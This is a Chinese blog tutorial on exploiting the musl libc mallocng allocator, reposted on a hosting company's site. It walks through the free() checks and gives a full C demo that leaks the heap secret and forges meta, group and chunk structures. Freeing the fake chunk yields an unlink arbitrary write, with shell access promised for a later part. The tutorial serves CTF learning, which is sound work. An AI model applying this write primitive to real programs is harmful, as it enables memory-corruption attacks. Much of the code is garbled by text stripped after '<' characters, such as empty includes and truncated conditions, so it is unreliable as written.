在上一篇文章中我們學(xué)習(xí)了musl libc中內(nèi)存分配的相關(guān)知識,了解了重要的數(shù)據(jù)結(jié)構(gòu)及函數(shù)內(nèi)容。本文將在此基礎(chǔ)上進(jìn)一步分析musl pwn的利用方式。
musl libc利用的核心思想是向free中傳入一個(gè)假的chunk指針。由于free函數(shù)會(huì)通過該chunk進(jìn)行回溯,獲取到其所在的group
和meta
,因此除了構(gòu)造假chunk外,還需要構(gòu)造假group
和假meta
。如果在假meta
中合理構(gòu)造prev
和next
指針,在nontrivial_free
中調(diào)用dequeue
函數(shù)就可以實(shí)現(xiàn)這兩個(gè)地址互相寫。
但在整個(gè)流程中,我們需要繞過很多檢查,以及進(jìn)入正確的分支。
在free
中會(huì)調(diào)用nontrivial_free
,free
中調(diào)用的get_meta
函數(shù)中有一些檢查項(xiàng):
(/src/malloc/mallocng/meta.h, line 129)
static inline struct meta *get_meta(const unsigned char *p)
{assert(!((uintptr_t)p & 15));
int offset = *(const uint16_t *)(p - 2);
int index = get_slot_index(p);
if (p[-4]) {assert(!offset);
offset = *(uint32_t *)(p - 8);
assert(offset >0xffff);
}
const struct group *base = (const void *)(p - UNIT*offset - UNIT);
const struct meta *meta = base->meta;
assert(meta->mem == base);
assert(index<= meta->last_idx);
assert(!(meta->avail_mask & (1u<freed_mask & (1u<check == ctx.secret);
if (meta->sizeclass< 48) {assert(offset >= size_classes[meta->sizeclass]*index);
assert(offset< size_classes[meta->sizeclass]*(index+1));
} else {assert(meta->sizeclass == 63);
}
if (meta->maplen) {assert(offset<= meta->maplen*4096UL/UNIT - 1);
}
return (struct meta *)meta;
}
如果偽造的meta
位于一個(gè)偽造的meta_area
中,需要首先獲取校驗(yàn)值secret
并保存到meta_area
開頭,即這一頁最開始的地方。
通過這個(gè)函數(shù)的檢查之后,nontrivial_free
的分支語句:
static struct mapinfo nontrivial_free(struct meta *g, int i)
{uint32_t self = 1u<sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;
if (mask+self == (2u<last_idx)-1 && okay_to_free(g)) {// any multi-slot group is necessarily on an active list
// here, but single-slot groups might or might not be.
if (g->next) { assert(sc< 48);
int activate_new = (ctx.active[sc]==g);
dequeue(&ctx.active[sc], g);
if (activate_new && ctx.active[sc])
activate_group(ctx.active[sc]);
}
return free_group(g);
} else if (!mask) {assert(sc< 48);
// might still be active if there were no allocations
// after last available slot was taken.
if (ctx.active[sc] != g) { queue(&ctx.active[sc], g);
}
}
a_or(&g->freed_mask, self);
return (struct mapinfo){0 };
}
這里要求mask+self == (2u<
,因此要合理設(shè)置meta
的兩個(gè)mask
的值。
之后調(diào)用了free_group
:
static struct mapinfo free_group(struct meta *g)
{struct mapinfo mi = {0 };
int sc = g->sizeclass;
if (sc< 48) {ctx.usage_by_class[sc] -= g->last_idx+1;
}
if (g->maplen) {step_seq();
record_seq(sc);
mi.base = g->mem;
mi.len = g->maplen*4096UL;
} else {void *p = g->mem;
struct meta *m = get_meta(p);
int idx = get_slot_index(p);
g->mem->meta = 0;
// not checking size/reserved here; it's intentionally invalid
mi = nontrivial_free(m, idx);
}
free_meta(g);
return mi;
}
這里我們不能在if-else語句中跳轉(zhuǎn)到else分支,那樣會(huì)再一次調(diào)用nontrivial_free
,因此要保證meta
的maplen
字段不為0。
這些檢查與條件判斷通過后,就可以成功釋放假chunk了。
下面就是musl libc unlink漏洞的demo程序,如有任何非預(yù)期情況請與筆者聯(lián)系,不勝感激。
#include#include#include#include#includestruct meta {struct meta *prev, *next;
struct group *mem;
volatile int avail_mask, freed_mask;
unsigned long long last_idx:5;
unsigned long long freeable:1;
unsigned long long sizeclass:6;
unsigned long long maplen:8*8-12;
};
struct group {struct meta *meta;
unsigned char active_idx:5;
char pad[0x10 - sizeof(struct meta *) - 1];
unsigned char storage[];
};
struct meta_area {unsigned long long check;
struct meta_area *next;
int nslots;
struct meta slots[];
};
unsigned long long victim_1[0x8];
unsigned long long victim_2[0x8];
#define BLACK "30"
#define RED "31"
#define GREEN "32"
#define YELLOW "33"
#define BLUE "34"
#define PURPLE "35"
#define GREEN_DARK "36"
#define WHITE "37"
#define UNDEFINED "-"
#define HIGHLIGHT "1"
#define UNDERLINE "4"
#define SPARK "5"
#define STR_END "\033[0m"
void printf_color(char* color, char* effect, char* string){char buffer[0x1000] = {0};
strcpy(buffer, "\033[");
if(effect[0] != '-'){strcat(buffer, effect);
strcat(buffer, ";");
}
strcat(buffer, color);
strcat(buffer, "m");
strcat(buffer, string);
printf("%s" STR_END, buffer);
}
void print_binary(char* buf, int length){printf("---------------------------------------------------------------------------\n");
printf("Address info starting in %p:\n", buf);
int index = 0;
char output_buffer[80];
memset(output_buffer, '\0', 80);
memset(output_buffer, ' ', 0x10);
for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){char temp_buffer[0x10];
memset(temp_buffer, '\0', 0x10);
sprintf(temp_buffer, "%#5x", index);
strcpy(output_buffer, temp_buffer);
output_buffer[5] = ' ';
output_buffer[6] = '|';
output_buffer[7] = ' ';
for(int j=0; j<16; j++){if(index+j >= length)
sprintf(output_buffer+8+3*j, " ");
else{sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF);
if(!isprint(buf[index+j]))
output_buffer[58+j] = '.';
else
output_buffer[58+j] = buf[index+j];
}
}
output_buffer[55] = ' ';
output_buffer[56] = '|';
output_buffer[57] = ' ';
printf("%s\n", output_buffer);
memset(output_buffer+58, '\0', 16);
index += 16;
}
printf("---------------------------------------------------------------------------\n");
}
struct group* get_group(const unsigned char* chunk){int offset = *(const unsigned short *)(chunk - 2);
if (chunk[-4])
offset = *(unsigned int *)(chunk - 8);
struct group* group_addr = (void *)(chunk - 0x10*offset - 0x10);
return group_addr;
}
struct meta* get_meta(const unsigned char* chunk){struct group* group_addr = get_group(chunk);
struct meta* meta_addr = group_addr->meta;
return meta_addr;
}
struct meta_area* get_meta_area(const void* meta){return (struct meta_area*)((unsigned long long)meta & -4096);
}
int main(){printf_color(GREEN, UNDEFINED, "本程序用于演示musl libc中的unlink操作。\n");
printf_color(GREEN, UNDEFINED, "測試環(huán)境:ubuntu 22.04,musl libc版本:1.2.2。\n");
printf_color(GREEN, UNDEFINED, "鑒于musl libc的輕量性,與其相關(guān)的利用方式也較為單一。\n");
printf_color(GREEN, UNDEFINED, "本程序所演示的unlink是最為常用的一種利用方式之一。\n");
printf_color(GREEN, UNDEFINED, "musl libc與glibc不同,在主程序的main函數(shù)開始執(zhí)行時(shí),內(nèi)存分配器就已經(jīng)完成了初始化。\n");
printf_color(GREEN, UNDEFINED, "請注意:在一個(gè)group中分配出來的chunk很可能在地址空間上不相鄰。\n");
printf_color(GREEN, UNDEFINED, "因?yàn)橐粋€(gè)group需要確保每個(gè)chunk都能夠容納該范圍內(nèi)大的chunk。\n");
printf_color(GREEN, UNDEFINED, "因此,調(diào)試便是musl libc賽題的重中之重。\n");
printf_color(GREEN, UNDEFINED, "下面是剛剛進(jìn)入main函數(shù)時(shí)堆的情況:\n");
printf_color(PURPLE, HIGHLIGHT,
"pwndbg>mheap\n"
" secret : 0xd8e803bc461ae35a\n"
" mmap_counter : 0x0\n"
" avail_meta : 0x55555555a0e0 (count: 96)\n"
" free_meta : 0\n"
" avail_meta_area : 0x55555555b000 (count: 0)\n"
" meta_area_head : 0x55555555a000\n"
" meta_area_tail : 0x55555555a000\n"
" active[7] : 0x55555555a090 (mem: 0x555555558f40) ->0x55555555a0b8 (mem: 0x7ffff7ffef40) [0x80]\n"
" active[15] : 0x55555555a068 (mem: 0x555555558d40) [0x1f0]\n"
" active[19] : 0x55555555a040 (mem: 0x555555558940) [0x3f0]\n"
" active[23] : 0x55555555a018 (mem: 0x555555558140) [0x7f0]\n\n");
printf_color(GREEN, UNDEFINED, "可見已經(jīng)有一些meta被鏈入到鏈表數(shù)組之中了。\n");
printf_color(GREEN, UNDEFINED, "但這對做題的影響并不大,通過多次調(diào)試,我們就能夠讓自己的chunk進(jìn)入想要的meta。\n");
printf_color(GREEN, UNDEFINED, "接下來讓我們嘗試分配幾個(gè)chunk。\n");
void* chunks[14];
for(int i=0; i<14; i++) {chunks[i] = malloc(0x140);
printf_color(GREEN, UNDEFINED, "第");
printf("\033[" GREEN "m%d\033[0m", i+1);
printf_color(GREEN, UNDEFINED, "次malloc返回的地址為:");
printf("\033[1;31m%p\n\033[0m", chunks[i]);
}
printf_color(GREEN, UNDEFINED, "\n接下來讓我們用源碼中給出的尋找chunk所在meta的方法回溯這些chunk所在的group和meta。\n");
struct group* groups[14];
struct meta* metas[14];
for(int i=0; i<14; i++){groups[i] = get_group(chunks[i]);
metas[i] = get_meta(chunks[i]);
}
for(int i=0; i<14; i++){printf_color(GREEN, UNDEFINED, "第");
printf("\033[" GREEN "m%d\033[0m", i+1);
printf_color(GREEN, UNDEFINED, "次malloc獲得chunk的group地址和meta地址分別為:");
printf("\033[1;31m%p %p\n\033[0m", groups[i], metas[i]);
}
printf_color(GREEN, UNDEFINED, "通過nontrivial_free中的dequeue函數(shù)進(jìn)行unlink,首先要通過get_meta函數(shù)的重重檢查:\n\n");
printf_color(YELLOW, HIGHLIGHT, "(/src/malloc/mallocng/meta.h, line 129)\n");
printf_color(PURPLE, HIGHLIGHT,
"static inline struct meta *get_meta(const unsigned char *p)\n"
"{\n"
"\tassert(!((uintptr_t)p & 15));\n"
"\tint offset = *(const uint16_t *)(p - 2);\n"
"\tint index = get_slot_index(p);\n"
"\tif (p[-4]) {\n"
"\t\tassert(!offset);\n"
"\t\toffset = *(uint32_t *)(p - 8);\n"
"\t\tassert(offset >0xffff);\n"
"\t}\n"
"\tconst struct group *base = (const void *)(p - UNIT*offset - UNIT);\n"
"\tconst struct meta *meta = base->meta;\n"
"\tassert(meta->mem == base);\n"
"\tassert(index<= meta->last_idx);\n"
"\tassert(!(meta->avail_mask & (1u<freed_mask & (1u<check == ctx.secret);\n"
"\tif (meta->sizeclass< 48) {\n"
"\t\tassert(offset >= size_classes[meta->sizeclass]*index);\n"
"\t\tassert(offset< size_classes[meta->sizeclass]*(index+1));\n"
"\t} else {\n"
"\t\tassert(meta->sizeclass == 63);\n"
"\t}\n"
"\tif (meta->maplen) {\n"
"\t\tassert(offset<= meta->maplen*4096UL/UNIT - 1);\n"
"\t}\n"
"\treturn (struct meta *)meta;\n"
"}\n\n");
printf_color(GREEN, UNDEFINED, "下面我們逐一查看一下這些檢查的具體內(nèi)容。\n");
printf_color(YELLOW, HIGHLIGHT, "1. meta->mem == base,即meta中保存的group指針要正確。\n");
printf_color(YELLOW, HIGHLIGHT, "2. index<= meta->last_idx,即chunk的索引不能越界。\n");
printf_color(RED , HIGHLIGHT, "3. area->check == ctx.secret,即meta所在的meta_area的校驗(yàn)值正確。\n");
printf_color(YELLOW, HIGHLIGHT, "4. offset >= size_classes[meta->sizeclass]*index\n");
printf_color(YELLOW, HIGHLIGHT, "5. offset< size_classes[meta->sizeclass]*(index+1),這兩個(gè)檢查offset和chunk大小是否對應(yīng)。\n");
printf_color(YELLOW, HIGHLIGHT, "6. assert(offset<= meta->maplen*4096UL/UNIT - 1);,即檢查offset是否越界。\n");
printf_color(GREEN, UNDEFINED, "這些檢查之中對我們最為重要的就是校驗(yàn)值的檢查。\n");
printf_color(GREEN, UNDEFINED, "只有泄露出secret值,我們才能釋放偽造meta_area中偽造meta的group的chunk。\n");
struct meta_area* area = get_meta_area(metas[0]);
printf_color(GREEN, UNDEFINED, "上面分配的所有meta均在同一個(gè)meta_area中,地址為:");
printf("\033[1;" YELLOW "m%p\n\033[0m", area);
printf_color(GREEN, UNDEFINED, "可以由此獲取到secret的值為:");
printf("\033[1;" YELLOW "m%#llx\n\n\033[0m", area->check);
unsigned long long secret = area->check;
printf_color(GREEN, UNDEFINED, "接下來我們來偽造chunk以及其上的結(jié)構(gòu)。\n");
void* mmap_space = mmap((void*)0xdeadbeef000, 0x2000, PROT_WRITE | PROT_READ, MAP_PRIVATE | MAP_ANON, -1, 0);
struct meta_area* fake_meta_area = mmap_space;
fake_meta_area->check = secret;
struct meta* fake_meta = (struct meta*)((unsigned long long) mmap_space + 0x100);
fake_meta->maplen = 1;
fake_meta->sizeclass = 7; // group中保存的chunk大小,這里設(shè)置為0x80
fake_meta->last_idx = 4; // group中chunk的總數(shù),這里設(shè)置為4表示chunk總數(shù)為5
fake_meta->freeable = 1; // 通過okay_to_free檢查
struct group* fake_group = (struct group*)((unsigned long long) mmap_space + 0x1000);
fake_meta->mem = fake_group; // 通過檢查1
fake_group->meta = fake_meta; // 使group能夠找到meta
fake_meta->avail_mask = 0b11101;// 使nontrivial_free進(jìn)入if循環(huán),得以執(zhí)行dequeue
char* fake_chunk = (char*)((unsigned long long) mmap_space + 0x1000 + 0x10 + 0x80);
*(unsigned short *)(fake_chunk - 2) = 8; // offset
*(unsigned char*)(fake_chunk - 3) = 1; // index
printf_color(GREEN, UNDEFINED, "繞過第1個(gè)檢查,只需要設(shè)置meta中的group指針為假group指針即可。\n");
printf_color(GREEN, UNDEFINED, "第2個(gè)檢查需要正確設(shè)置chunk的index值,本程序釋放的是group中第2個(gè)chunk,因此索引為1。\n");
printf_color(GREEN, UNDEFINED, "注意索引值存放的位置,是chunk地址-3這個(gè)字節(jié)。\n");
printf_color(GREEN, UNDEFINED, "第3個(gè)檢查需要我們提前泄露secret的值,并填寫到meta_area中。\n");
printf_color(GREEN, UNDEFINED, "檢查4和5只需要正確計(jì)算chunk的大小,填寫chunk的索引值即可。\n");
printf_color(GREEN, UNDEFINED, "本程序嘗試釋放sizeclass=7的chunk,即chunk大小為0x80,因此第2個(gè)chunk的索引為0x80>>4=8。\n");
printf_color(GREEN, UNDEFINED, "索引值index保存在chunk的前面兩個(gè)字節(jié)中,正確填入即可。\n");
printf_color(GREEN, UNDEFINED, "正確設(shè)置index后,檢查6一般也是沒有問題的。\n\n");
printf_color(GREEN, UNDEFINED, "在通過get_meta的檢查后,還需要通過nontrivial_free中的if語句條件判斷。\n\n");
printf_color(YELLOW, HIGHLIGHT, "(/src/malloc/mallocng/free.c, line 72)\n");
printf_color(PURPLE, HIGHLIGHT,
"static struct mapinfo nontrivial_free(struct meta *g, int i)\n"
"{\n"
"\tuint32_t self = 1u<sizeclass;\n"
"\tuint32_t mask = g->freed_mask | g->avail_mask;\n"
"\n"
"\t\033[1;31mif (mask+self == (2u<last_idx)-1 && okay_to_free(g))\033[1;" PURPLE "m {\n"
"\t\t// any multi-slot group is necessarily on an active list\n"
"\t\t// here, but single-slot groups might or might not be.\n"
"\t\tif (g->next) {\n"
"\t\t\tassert(sc< 48);\n"
"\t\t\tint activate_new = (ctx.active[sc]==g);\n"
"\t\t\tdequeue(&ctx.active[sc], g);\n"
"\t\t\tif (activate_new && ctx.active[sc])\n"
"\t\t\t\tactivate_group(ctx.active[sc]);\n"
"\t\t}\n"
"\t\treturn free_group(g);\n"
"\t} else if (!mask) {\n"
"\t\tassert(sc< 48);\n"
"\t\t// might still be active if there were no allocations\n"
"\t\t// after last available slot was taken.\n"
"\t\tif (ctx.active[sc] != g) {\n"
"\t\t\tqueue(&ctx.active[sc], g);\n"
"\t\t}\n"
"\t}\n"
"\ta_or(&g->freed_mask, self);\n"
"\treturn (struct mapinfo){ 0 };\n"
"}\n\n");
printf_color(GREEN, UNDEFINED, "只需要修改meta中的freeable字段為1即可通過該檢查。\n");
printf_color(GREEN, UNDEFINED, "最后還需要在free_group中進(jìn)入正確的else分支:\n\n");
printf_color(RED, HIGHLIGHT, "(/src/malloc/mallocng/free.c, line 14)\n");
printf_color(PURPLE, HIGHLIGHT,
"static struct mapinfo free_group(struct meta *g)\n"
"{\n"
"\tstruct mapinfo mi = { 0 };\n"
"\tint sc = g->sizeclass;\n"
"\tif (sc< 48) {\n"
"\t\tctx.usage_by_class[sc] -= g->last_idx+1;\n"
"\t}\n"
"\tif (g->maplen) {\n"
"\t\tstep_seq();\n"
"\t\trecord_seq(sc);\n"
"\t\tmi.base = g->mem;\n"
"\t\tmi.len = g->maplen*4096UL;\n"
"\t} else {\n"
"\t\tvoid *p = g->mem;\n"
"\t\tstruct meta *m = get_meta(p);\n"
"\t\tint idx = get_slot_index(p);\n"
"\t\tg->mem->meta = 0;\n"
"\t\t// not checking size/reserved here; it's intentionally invalid\n"
"\t\tmi = nontrivial_free(m, idx);\n"
"\t}\n"
"\tfree_meta(g);\n"
"\treturn mi;\n"
"}\n\n");
printf_color(GREEN, UNDEFINED, "這需要我們設(shè)置meta->maplen為非零值,防止再次進(jìn)入nontrivial_free。\n");
printf_color(GREEN, UNDEFINED, "這里的maplen就設(shè)置為group占用的頁數(shù)量即可。\n");
printf_color(GREEN, UNDEFINED, "接下來我們向meta的兩個(gè)鏈表指針寫入事先準(zhǔn)備好的地址。\n");
printf_color(GREEN, UNDEFINED, "meta->prev寫入:");
printf("\033[1;" YELLOW "m%p\033[0m\n", victim_1);
printf_color(GREEN, UNDEFINED, "meta->next寫入:");
printf("\033[1;" YELLOW "m%p\033[0m\n", victim_2);
fake_meta->prev = (struct meta*)victim_1;
fake_meta->next = (struct meta*)victim_2;
printf_color(GREEN, UNDEFINED, "下面調(diào)用free函數(shù)釋放這個(gè)假chunk。\n\n");
free(fake_chunk);
printf_color(GREEN, UNDEFINED, "釋放后,目標(biāo)地址附近的值已經(jīng)被成功修改:\n");
print_binary((char*)victim_1, 0x80);
return 0;
}
這證明使用一個(gè)假chunk修改兩個(gè)地址的值是可行的,在free之后,chunk所在的頁被釋放了,這樣就不會(huì)對接下來的進(jìn)一步利用造成其他任何影響了。
為了利用unlink,我們需要構(gòu)造很多東西,不能落下其中任何一個(gè),在解題與學(xué)習(xí)時(shí)要特別注意。在下一篇文章中筆者將會(huì)分析unlink如何與FILE結(jié)構(gòu)體配合,從而最終getshell。
你是否還在尋找穩(wěn)定的海外服務(wù)器提供商?創(chuàng)新互聯(lián)www.cdcxhl.cn海外機(jī)房具備T級流量清洗系統(tǒng)配攻擊溯源,準(zhǔn)確流量調(diào)度確保服務(wù)器高可用性,企業(yè)級服務(wù)器適合批量采購,新人活動(dòng)首月15元起,快前往官網(wǎng)查看詳情吧
標(biāo)題名稱:muslpwn入門(2)-創(chuàng)新互聯(lián)
本文來源:http://jinyejixie.com/article24/hesje.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供ChatGPT、網(wǎng)站設(shè)計(jì)公司、小程序開發(fā)、外貿(mào)建站、動(dòng)態(tài)網(wǎng)站、建站公司
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)
猜你還喜歡下面的內(nèi)容